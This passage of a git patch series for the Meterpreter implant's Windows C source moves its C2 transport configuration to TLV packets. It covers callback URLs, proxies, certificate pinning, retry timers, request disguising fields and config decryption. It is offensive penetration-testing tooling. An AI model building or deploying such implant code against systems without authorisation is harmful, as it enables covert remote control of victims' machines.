- memcpy(ctx->cert_hash, config->ssl_cert_hash, 20); + LPBYTE certHash = packet_get_tlv_group_entry_value_raw(packet, c2Tlv, TLV_TYPE_C2_CERT_HASH, NULL); + if (certHash != NULL) + { + dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + certHash[0], certHash[1], certHash[2], certHash[3], + certHash[4], certHash[5], certHash[6], certHash[7], + certHash[8], certHash[9], certHash[10], certHash[11], + certHash[12], certHash[13], certHash[14], certHash[15], + certHash[16], certHash[17], certHash[18], certHash[19]); + + unsigned char emptyHash[CERT_HASH_SIZE] = { 0 }; + if (memcmp(certHash, emptyHash, CERT_HASH_SIZE)) + { + ctx->cert_hash = (PBYTE)malloc(CERT_HASH_SIZE); + memcpy_s(ctx->cert_hash, CERT_HASH_SIZE, certHash, CERT_HASH_SIZE); + } } ctx->create_req = get_request_winhttp; @@ -995,11 +960,11 @@ Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size) ctx->receive_response = receive_response_winhttp; ctx->read_response = read_response_winhttp; - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; + transport->timeouts.comms = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_COMM_TIMEOUT); + transport->timeouts.retry_total = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_TOTAL); + transport->timeouts.retry_wait = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_WAIT); transport->type = ctx->ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP; - ctx->url = transport->url = _wcsdup(config->common.url); + ctx->url = transport->url = url; transport->packet_transmit = packet_transmit_http; transport->server_dispatch = server_dispatch_http; transport->transport_init = server_init_winhttp; @@ -1007,7 +972,6 @@ Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size) transport->transport_destroy = transport_destroy_http; transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); - transport->get_config_size = transport_get_config_size_http; return transport; } diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.h b/c/meterpreter/source/metsrv/server_transport_winhttp.h index b1385353d..c93c345af 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.h +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.h @@ -1,7 +1,7 @@ #ifndef _METERPRETER_METSRV_TRANSPORT_WINHTTP #define _METERPRETER_METSRV_TRANSPORT_WINHTTP -void transport_write_http_config(Transport* transport, MetsrvTransportHttp* config); -Transport* transport_create_http(MetsrvTransportHttp* httpConfig, LPDWORD size); +void transport_write_http_config(Transport* transport, Packet* packet, Tlv* configTlv); +Transport* transport_create_http(Packet* packet, Tlv* c2Tlv); #endif \ No newline at end of file From 636c322a3136763744347d63cdbcc139571763ba Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 7 Jul 2025 13:26:06 +1000 Subject: [PATCH 04/24] Semi-working TLV-based configuration More to do, and transport stuff needs to be updated to include the C2 configuration options. --- c/meterpreter/source/common/common_config.h | 2 +- c/meterpreter/source/common/common_core.h | 56 ++-- c/meterpreter/source/common/common_remote.h | 37 ++- c/meterpreter/source/metsrv/base_dispatch.c | 3 + c/meterpreter/source/metsrv/core.c | 5 +- c/meterpreter/source/metsrv/metsrv.c | 34 ++- c/meterpreter/source/metsrv/metsrv.h | 2 +- .../source/metsrv/packet_encryption.c | 2 +- c/meterpreter/source/metsrv/server_setup.c | 56 ++-- .../metsrv/server_transport_named_pipe.c | 18 +- .../source/metsrv/server_transport_tcp.c | 18 +- .../source/metsrv/server_transport_winhttp.c | 257 +++++++++++------- .../source/metsrv/server_transport_wininet.c | 127 +++++---- 13 files changed, 375 insertions(+), 242 deletions(-) diff --git a/c/meterpreter/source/common/common_config.h b/c/meterpreter/source/common/common_config.h index c42bad5a5..f52468472 100644 --- a/c/meterpreter/source/common/common_config.h +++ b/c/meterpreter/source/common/common_config.h @@ -30,7 +30,7 @@ typedef struct _MetsrvConfig UINT_PTR handle; BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one). - BYTE config_tlv[1]; + BYTE config_packet[1]; ///! Pointer to the configuration packet } MetsrvConfig; // We force 64bit alignment for HANDLES and POINTERS in order diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index 32200a25c..baba5d678 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -181,34 +181,34 @@ typedef enum TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections. TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name. - TLV_TYPE_CONFIG_BLOCK = TLV_VALUE(TLV_META_TYPE_GROUP, 700), ///! container for the entire configuration block - TLV_TYPE_SESSION_EXPIRY = TLV_VALUE(TLV_META_TYPE_UINT, 701), ///! Session expiration time - TLV_TYPE_EXITFUNC = TLV_VALUE(TLV_META_TYPE_UINT, 702), ///! identifier of the exit function to use - TLV_TYPE_DEBUG_LOG = TLV_VALUE(TLV_META_TYPE_STRING, 703), ///! path to write debug log - TLV_TYPE_EXTENSION = TLV_VALUE(TLV_META_TYPE_GROUP, 704), ///! Group containing extension info - TLV_TYPE_C2 = TLV_VALUE(TLV_META_TYPE_GROUP, 705), ///! a C2/transport grouping - TLV_TYPE_C2_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 706), ///! the timeout for this C2 group - TLV_TYPE_C2_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 707), ///! number of times to retry this C2 - TLV_TYPE_C2_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 708), ///! how long to wait between reconnect attempts - TLV_TYPE_C2_URL = TLV_VALUE(TLV_META_TYPE_STRING, 709), ///! base URL of this C2 (scheme://host:port/uri) - TLV_TYPE_C2_URI = TLV_VALUE(TLV_META_TYPE_STRING, 710), ///! URI to append to base URL (for HTTP(s)), if any - TLV_TYPE_C2_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 711), ///! Host name of proxy - TLV_TYPE_C2_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 712), ///! Proxy user name - TLV_TYPE_C2_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 713), ///! Proxy password - TLV_TYPE_C2_GET = TLV_VALUE(TLV_META_TYPE_GROUP, 714), ///! A grouping of params associated with GET requests - TLV_TYPE_C2_POST = TLV_VALUE(TLV_META_TYPE_GROUP, 715), ///! A grouping of params associated with POST requests - TLV_TYPE_C2_HEADER = TLV_VALUE(TLV_META_TYPE_STRING, 716), ///! Custom headers (GET or POST context) - TLV_TYPE_C2_UA = TLV_VALUE(TLV_META_TYPE_STRING, 717), ///! User agent - TLV_TYPE_C2_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 718), ///! Expected SSL certificate hash - TLV_TYPE_C2_REQ_PREFIX = TLV_VALUE(TLV_META_TYPE_STRING, 719), ///! Data to prepend to the outgoing payload (in global, GET or POST context) - TLV_TYPE_C2_REQ_SUFFIX = TLV_VALUE(TLV_META_TYPE_STRING, 720), ///! Data to append to the outgoing payload (in global, GET or POST context) - TLV_TYPE_C2_REQ_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 722), ///! Request encoding flags (Base64|URL|Base64url) - TLV_TYPE_C2_RESP_SKIP_COUNT = TLV_VALUE(TLV_META_TYPE_UINT, 723), ///! Number of bytes of the incoming payload to ignore before parsing - TLV_TYPE_C2_RESP_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 724), ///! Response encoding flags (Base64|URL|Base64url) - - TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. - TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. - TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value. + TLV_TYPE_SESSION_EXPIRY = TLV_VALUE(TLV_META_TYPE_UINT, 700), ///! Session expiration time + TLV_TYPE_EXITFUNC = TLV_VALUE(TLV_META_TYPE_UINT, 701), ///! identifier of the exit function to use + TLV_TYPE_DEBUG_LOG = TLV_VALUE(TLV_META_TYPE_STRING, 702), ///! path to write debug log + TLV_TYPE_EXTENSION = TLV_VALUE(TLV_META_TYPE_GROUP, 703), ///! Group containing extension info + TLV_TYPE_C2 = TLV_VALUE(TLV_META_TYPE_GROUP, 704), ///! a C2/transport grouping + TLV_TYPE_C2_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 705), ///! the timeout for this C2 group + TLV_TYPE_C2_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 706), ///! number of times to retry this C2 + TLV_TYPE_C2_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 707), ///! how long to wait between reconnect attempts + TLV_TYPE_C2_URL = TLV_VALUE(TLV_META_TYPE_STRING, 708), ///! base URL of this C2 (scheme://host:port/uri) + TLV_TYPE_C2_URI = TLV_VALUE(TLV_META_TYPE_STRING, 709), ///! URI to append to base URL (for HTTP(s)), if any + TLV_TYPE_C2_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 710), ///! Host name of proxy + TLV_TYPE_C2_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 711), ///! Proxy user name + TLV_TYPE_C2_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 712), ///! Proxy password + TLV_TYPE_C2_GET = TLV_VALUE(TLV_META_TYPE_GROUP, 713), ///! A grouping of params associated with GET requests + TLV_TYPE_C2_POST = TLV_VALUE(TLV_META_TYPE_GROUP, 714), ///! A grouping of params associated with POST requests + TLV_TYPE_C2_OTHER_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 715), ///! Custom headers + TLV_TYPE_C2_UA = TLV_VALUE(TLV_META_TYPE_STRING, 716), ///! User agent + TLV_TYPE_C2_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 717), ///! Expected SSL certificate hash + TLV_TYPE_C2_PREFIX = TLV_VALUE(TLV_META_TYPE_STRING, 718), ///! Data to prepend to the outgoing payload + TLV_TYPE_C2_SUFFIX = TLV_VALUE(TLV_META_TYPE_STRING, 719), ///! Data to append to the outgoing payload + TLV_TYPE_C2_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Request encoding flags (Base64|URL|Base64url) + TLV_TYPE_C2_SKIP_COUNT = TLV_VALUE(TLV_META_TYPE_UINT, 721), ///! Number of bytes of the incoming payload to ignore before parsing + TLV_TYPE_C2_REFERRER = TLV_VALUE(TLV_META_TYPE_STRING, 722), ///! Referrer string + TLV_TYPE_C2_ACCEPT_TYPES = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Accept types string + + TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. + TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. + TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value. } TlvType; #ifndef QWORD diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index 80e94105c..305bd2332 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -33,6 +33,7 @@ typedef DWORD(*PTransportInit)(Transport* transport); typedef DWORD(*PTransportDeinit)(Transport* transport); typedef void(*PTransportDestroy)(Transport* transport); typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer); +typedef void(*PWriteConfig)(Transport* transport, Packet* configPacket); typedef Transport*(*PTransportCreate)(Remote* remote, Packet* packet, Tlv* c2Tlv); typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport); typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size); @@ -41,7 +42,7 @@ typedef DWORD(*PServerDispatch)(Remote* remote, THREAD* dispatchThread); typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength); typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction); -typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size); +typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, BOOL isGet, LPVOID buffer, DWORD size); typedef BOOL(*PCloseRequest)(HANDLE hReq); typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx); typedef BOOL(*PReceiveResponse)(HANDLE hReq); @@ -70,21 +71,40 @@ typedef struct _NamedPipeTransportContext LOCK* write_lock; ///! Reference to the thread write lock. } NamedPipeTransportContext; +typedef struct _HttpRequestOptions +{ + STRTYPE uri; + STRTYPE ua; + STRTYPE accept_types; + STRTYPE referrer; + STRTYPE other_headers; ///! Custom headers that aren't user agent, accept types, or referrer + STRTYPE payload_prefix; ///! String to prepend to outgoing payloads. + STRTYPE payload_suffix; ///! String to append to outgoing payloads. + UINT payload_skip_count; ///! Number of bytes of the incoming data to skip to reach the payload. + UINT encode_flags; ///! Flags to indicate what kind of encoding to apply, if any. +} HttpRequestOptions; + +typedef struct _HttpConnection +{ + HANDLE internet; + HANDLE connection; + HttpRequestOptions options; +} HttpConnection; + typedef struct _HttpTransportContext { BOOL ssl; ///! Flag indicating whether the connection uses SSL. - HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS. - HANDLE connection; ///! Handle to the HTTP or HTTPS connection. - unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate + HttpConnection get_connection; ///! connection data for GET requests. + HttpConnection post_connection; ///! connection data for POST requests. + unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate. CSTRTYPE url; ///! Pointer to the URL stored with the transport. - STRTYPE ua; ///! User agent string. - STRTYPE uri; ///! UUID encoded as a URI. - STRTYPE new_uri; ///! New URI for stageless URI switches + STRTYPE new_uri; ///! New URI for stageless URI switches. STRTYPE proxy; ///! Proxy details. STRTYPE proxy_user; ///! Proxy username. STRTYPE proxy_pass; ///! Proxy password. - STRTYPE custom_headers; ///! List of custom headers to add to outgoing requests. + + HttpRequestOptions default_options; ///! default request options BOOL proxy_configured; ///! Indication of whether the proxy has been configured. LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required). @@ -111,6 +131,7 @@ typedef struct _Transport PServerDispatch server_dispatch; ///! Transport dispatch function. PPacketTransmit packet_transmit; ///! Transmits a packet over the transport. PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific. + PWriteConfig write_config; ///! Write the transport configuration. STRTYPE url; ///! Full URL describing the comms in use. VOID* ctx; ///! Pointer to the type-specific transport context; TimeoutSettings timeouts; ///! Container for the timeout settings. diff --git a/c/meterpreter/source/metsrv/base_dispatch.c b/c/meterpreter/source/metsrv/base_dispatch.c index 97544e57b..0ac8d0b46 100644 --- a/c/meterpreter/source/metsrv/base_dispatch.c +++ b/c/meterpreter/source/metsrv/base_dispatch.c @@ -208,6 +208,8 @@ DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait); packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait); + // TODO OJ - fill this back in +#if FALSE switch (current->type) { case METERPRETER_TRANSPORT_HTTP: @@ -242,6 +244,7 @@ DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) break; } } +#endif packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup); diff --git a/c/meterpreter/source/metsrv/core.c b/c/meterpreter/source/metsrv/core.c index 68614e4de..fb093c1a1 100644 --- a/c/meterpreter/source/metsrv/core.c +++ b/c/meterpreter/source/metsrv/core.c @@ -996,7 +996,10 @@ BYTE * packet_get_tlv_value_raw(Packet * packet, TlvType type, DWORD* length) return NULL; } - *length = tlv.header.length; + if (length != NULL) + { + *length = tlv.header.length; + } return tlv.buffer; } diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c index da51fb47b..4d19067c1 100644 --- a/c/meterpreter/source/metsrv/metsrv.c +++ b/c/meterpreter/source/metsrv/metsrv.c @@ -14,22 +14,32 @@ #include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.c" #include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" +#include "packet_encryption.h" + DWORD Init(MetsrvConfig* config) { dprintf("[METSRV] Initializing from configuration: 0x%p", config); - Packet* configPacket = packet_create_group(); - configPacket->local = TRUE; - configPacket->payload = config->config_tlv; - configPacket->payloadLength = ntohl(((TlvHeader*)(configPacket->payload))->length) + sizeof(TlvHeader); + // take a copy of the packet header so that we can manipulate it locally + PacketHeader header = *(PacketHeader*)config->config_packet; + + // decode as it might be xor'd + xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); - dprintf("Group TLV Packet Size: 0x%x (%u)", configPacket->payloadLength, configPacket->payloadLength); + UINT configLength = ntohl(header.length) - sizeof(TlvHeader); + UINT configBlockSize = sizeof(PacketHeader) + configLength; + dprintf("[METSRV] Config length is %u 0x%08x", configLength, configLength); + dprintf("[METSRV] Config block size is %u 0x%08x", configBlockSize, configBlockSize); - Tlv configTlv = { 0 }; - packet_get_tlv(configPacket, TLV_TYPE_CONFIG_BLOCK, &configTlv); + // Get a full copy of the entire packet ready for decoding + PBYTE configBuffer = (PBYTE)malloc(configBlockSize); + memcpy_s(configBuffer, configBlockSize, config->config_packet, configBlockSize); + Packet* configPacket = NULL; + dprintf("[METSRV] decrypting config packet"); + SetLastError(decrypt_packet(NULL, &configPacket, configBuffer, configBlockSize)); #ifdef DEBUGTRACE - PWSTR logPath = packet_get_tlv_group_entry_value_wstring(configPacket, &configTlv, TLV_TYPE_DEBUG_LOG, NULL); + PWSTR logPath = packet_get_tlv_value_wstring(configPacket, TLV_TYPE_DEBUG_LOG); INIT_LOGGING(logPath); free(logPath); #endif @@ -42,11 +52,12 @@ DWORD Init(MetsrvConfig* config) // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually // a pointer to the metserv configuration, so do a nasty cast and move on. dprintf("[METSRV] Getting ready to init with config %p", config); - DWORD result = server_setup(config, configPacket, &configTlv); - UINT exitFunc = packet_get_tlv_group_entry_value_uint(configPacket, &configTlv, TLV_TYPE_EXITFUNC); + DWORD result = server_setup(config, configPacket); + UINT exitFunc = packet_get_tlv_value_uint(configPacket, TLV_TYPE_EXITFUNC); dprintf("[METSRV] Exiting with %08x", exitFunc); + packet_destroy(configPacket); // We also handle exit func directly in metsrv now because the value is added to the // configuration block and we manage to save bytes in the stager/header as well. switch (exitFunc) @@ -63,9 +74,6 @@ DWORD Init(MetsrvConfig* config) default: break; } - // we don't want destruction to free the payload pointer. - configPacket->payload = NULL; - packet_destroy(configPacket); return result; } diff --git a/c/meterpreter/source/metsrv/metsrv.h b/c/meterpreter/source/metsrv/metsrv.h index 0b234d690..df409626b 100644 --- a/c/meterpreter/source/metsrv/metsrv.h +++ b/c/meterpreter/source/metsrv/metsrv.h @@ -54,7 +54,7 @@ VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize); BOOL is_null_guid(BYTE guid[sizeof(GUID)]); VOID rand_xor_key(BYTE buffer[4]); -DWORD server_setup(MetsrvConfig* config, Packet* configPacket, Tlv* configTlv); +DWORD server_setup(MetsrvConfig* config, Packet* configPacket); typedef DWORD (*PSRVINIT)(MetApi* api, Remote *remote); typedef DWORD (*PSRVDEINIT)(Remote *remote); typedef VOID (*PCMDADDED)(UINT command_id); diff --git a/c/meterpreter/source/metsrv/packet_encryption.c b/c/meterpreter/source/metsrv/packet_encryption.c index 8df966b4a..5f172a8fb 100644 --- a/c/meterpreter/source/metsrv/packet_encryption.c +++ b/c/meterpreter/source/metsrv/packet_encryption.c @@ -64,7 +64,7 @@ DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD buffe vdprintf("[DEC] Encryption flags set to %x", encFlags); // Only decrypt if the context was set up correctly - if (remote->enc_ctx != NULL && remote->enc_ctx->valid && encFlags != ENC_FLAG_NONE) + if (remote && remote->enc_ctx != NULL && remote->enc_ctx->valid && encFlags != ENC_FLAG_NONE) { vdprintf("[DEC] Context is valid, moving on ... "); LPBYTE payload = buffer + sizeof(PacketHeader); diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index 48676e425..d29b8da3c 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -66,13 +66,13 @@ DWORD server_sessionid() * @param fd The socket descriptor passed to metsrv during intialisation. * @return Pointer to the end of the configuration. */ -VOID load_stageless_extensions(Remote* remote, Packet* configPacket, Tlv* configTlv) +VOID load_stageless_extensions(Remote* remote, Packet* configPacket) { DWORD index = 0; Tlv extensionTlv = { 0 }; // start by loading the extensions before doing any init scripts - while (packet_enum_group_tlv(configPacket, configTlv, index, TLV_TYPE_EXTENSION, &extensionTlv) == ERROR_SUCCESS) + while (packet_enum_tlv(configPacket, index, TLV_TYPE_EXTENSION, &extensionTlv) == ERROR_SUCCESS) { DWORD dllSize = 0; LPBYTE dll = packet_get_tlv_group_entry_value_raw(configPacket, &extensionTlv, TLV_TYPE_DATA, &dllSize); @@ -87,7 +87,7 @@ VOID load_stageless_extensions(Remote* remote, Packet* configPacket, Tlv* config // then iterate again and initialise those that require it. index = 0; - while (packet_enum_group_tlv(configPacket, configTlv, index, TLV_TYPE_EXTENSION, &extensionTlv) == ERROR_SUCCESS) + while (packet_enum_tlv(configPacket, index, TLV_TYPE_EXTENSION, &extensionTlv) == ERROR_SUCCESS) { DWORD initSize = 0; PCHAR init = packet_get_tlv_group_entry_value_string(configPacket, &extensionTlv, TLV_TYPE_STRING, &initSize); @@ -190,12 +190,12 @@ static void remove_transport(Remote* remote, Transport* oldTransport) oldTransport->transport_destroy(oldTransport); } -static BOOL create_transports(Remote* remote, Packet* packet, Tlv* groupTlv, LPDWORD parsedSize) +static BOOL create_transports(Remote* remote, Packet* packet) { DWORD index = 0; Tlv c2Tlv = { 0 }; - while (packet_enum_group_tlv(packet, groupTlv, index, TLV_TYPE_C2, &c2Tlv) == ERROR_SUCCESS) + while (packet_enum_tlv(packet, index, TLV_TYPE_C2, &c2Tlv) == ERROR_SUCCESS) { create_transport(remote, packet, &c2Tlv); ++index; @@ -206,6 +206,7 @@ static BOOL create_transports(Remote* remote, Packet* packet, Tlv* groupTlv, LPD static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size) { + // TODO OJ: fill this in when the rest is done. #ifdef FDJSKL // This function is really only used for migration purposes. DWORD s = sizeof(MetsrvSession); @@ -221,8 +222,8 @@ static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LP memcpy(sess->session_guid, remote->orig_config->session.session_guid, sizeof(GUID)); #ifdef DEBUGTRACE memcpy(sess->log_path, remote->orig_config->session.log_path, LOG_PATH_SIZE); - #endif + if (remote->sess_expiry_end) { sess->expiry = remote->sess_expiry_end - current_unix_timestamp(); @@ -256,6 +257,7 @@ static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LP dprintf("[CONFIG] Comms handle set to %p", (UINT_PTR)sess->comms_handle.handle); } + // TODO: switch this to use the new transport->write_config function switch (t->type) { case METERPRETER_TRANSPORT_TCP: @@ -300,20 +302,21 @@ static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LP * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. * @return Meterpreter exit code (ignored by the caller). */ -DWORD server_setup(MetsrvConfig* config, Packet* configPacket, Tlv* configTlv) +DWORD server_setup(MetsrvConfig* config, Packet* configPacket) { + dprintf("[SERVER] server_setup running"); + THREAD* serverThread = NULL; Remote* remote = NULL; char stationName[256] = { 0 }; char desktopName[256] = { 0 }; DWORD res = 0; - UINT sessionExpiry = packet_get_tlv_group_entry_value_uint(configPacket, configTlv, TLV_TYPE_SESSION_EXPIRY); - DWORD uuidSize = 0; - PBYTE uuid = packet_get_tlv_group_entry_value_raw(configPacket, configTlv, TLV_TYPE_UUID, &uuidSize); - PBYTE sessionGuid = packet_get_tlv_group_entry_value_raw(configPacket, configTlv, TLV_TYPE_SESSION_GUID, NULL); + UINT sessionExpiry = packet_get_tlv_value_uint(configPacket, TLV_TYPE_SESSION_EXPIRY); + dprintf("[SERVER] Expiry: %u", sessionExpiry); - dprintf("[SESSION] Expiry: %u", sessionExpiry); + DWORD uuidSize = 0; + PBYTE uuid = packet_get_tlv_value_raw(configPacket, TLV_TYPE_UUID, &uuidSize); dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", uuid[0], uuid[1], uuid[2], uuid[3], @@ -321,14 +324,16 @@ DWORD server_setup(MetsrvConfig* config, Packet* configPacket, Tlv* configTlv) uuid[8], uuid[9], uuid[10], uuid[11], uuid[12], uuid[13], uuid[14], uuid[15]); - dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", - sessionGuid[0], sessionGuid[1], sessionGuid[2], sessionGuid[3], - sessionGuid[4], sessionGuid[5], sessionGuid[6], sessionGuid[7], - sessionGuid[8], sessionGuid[9], sessionGuid[10], sessionGuid[11], - sessionGuid[12], sessionGuid[13], sessionGuid[14], sessionGuid[15]); - - memcpy_s(remote->uuid, sizeof(remote->uuid), uuid, uuidSize); - memcpy_s(remote->session_guid, sizeof(remote->session_guid), sessionGuid, sizeof(remote->session_guid)); + DWORD sessionGuidSize = 0; + PBYTE sessionGuid = packet_get_tlv_value_raw(configPacket, TLV_TYPE_SESSION_GUID, &sessionGuidSize); + if (sessionGuid != NULL) + { + dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", + sessionGuid[0], sessionGuid[1], sessionGuid[2], sessionGuid[3], + sessionGuid[4], sessionGuid[5], sessionGuid[6], sessionGuid[7], + sessionGuid[8], sessionGuid[9], sessionGuid[10], sessionGuid[11], + sessionGuid[12], sessionGuid[13], sessionGuid[14], sessionGuid[15]); + } disable_thread_error_reporting(); @@ -349,6 +354,12 @@ DWORD server_setup(MetsrvConfig* config, Packet* configPacket, Tlv* configTlv) break; } + memcpy_s(remote->uuid, sizeof(remote->uuid), uuid, uuidSize); + if (sessionGuid != NULL) + { + memcpy_s(remote->session_guid, sizeof(remote->session_guid), sessionGuid, sizeof(remote->session_guid)); + } + remote->sess_expiry_time = sessionExpiry; remote->sess_start_time = current_unix_timestamp(); if (remote->sess_expiry_time) @@ -362,8 +373,7 @@ DWORD server_setup(MetsrvConfig* config, Packet* configPacket, Tlv* configTlv) dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); - DWORD transportSize = 0; - if (!create_transports(remote, configPacket, configTlv, &transportSize)) + if (!create_transports(remote, configPacket)) { // not good, bail out! SetLastError(ERROR_BAD_ARGUMENTS); @@ -390,7 +400,7 @@ DWORD server_setup(MetsrvConfig* config, Packet* configPacket, Tlv* configTlv) register_dispatch_routines(); // this has to be done after dispatch routine are registered - load_stageless_extensions(remote, configPacket, configTlv); + load_stageless_extensions(remote, configPacket); // Store our process token if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) diff --git a/c/meterpreter/source/metsrv/server_transport_named_pipe.c b/c/meterpreter/source/metsrv/server_transport_named_pipe.c index d40e75ced..f42c6e409 100644 --- a/c/meterpreter/source/metsrv/server_transport_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.c @@ -638,17 +638,14 @@ static void transport_set_handle_named_pipe(Transport* transport, UINT_PTR handl * @param transport Transport data to create the configuration from. * @param config Pointer to the config block to write to. */ -void transport_write_named_pipe_config(Transport* transport, Packet* packet, Tlv* configTlv) +void transport_write_named_pipe_config(Transport* transport, Packet* configPacket) { -#ifdef FDJKLS - if (transport && config) - { - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); - } -#endif + Packet* c2Packet = packet_create_group(); + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); + packet_add_group(configPacket, TLV_TYPE_C2, c2Packet); } /*! @@ -711,6 +708,7 @@ Transport* transport_create_named_pipe(Packet* packet, Tlv* c2Tlv) transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); transport->get_migrate_context = get_migrate_context_named_pipe; + 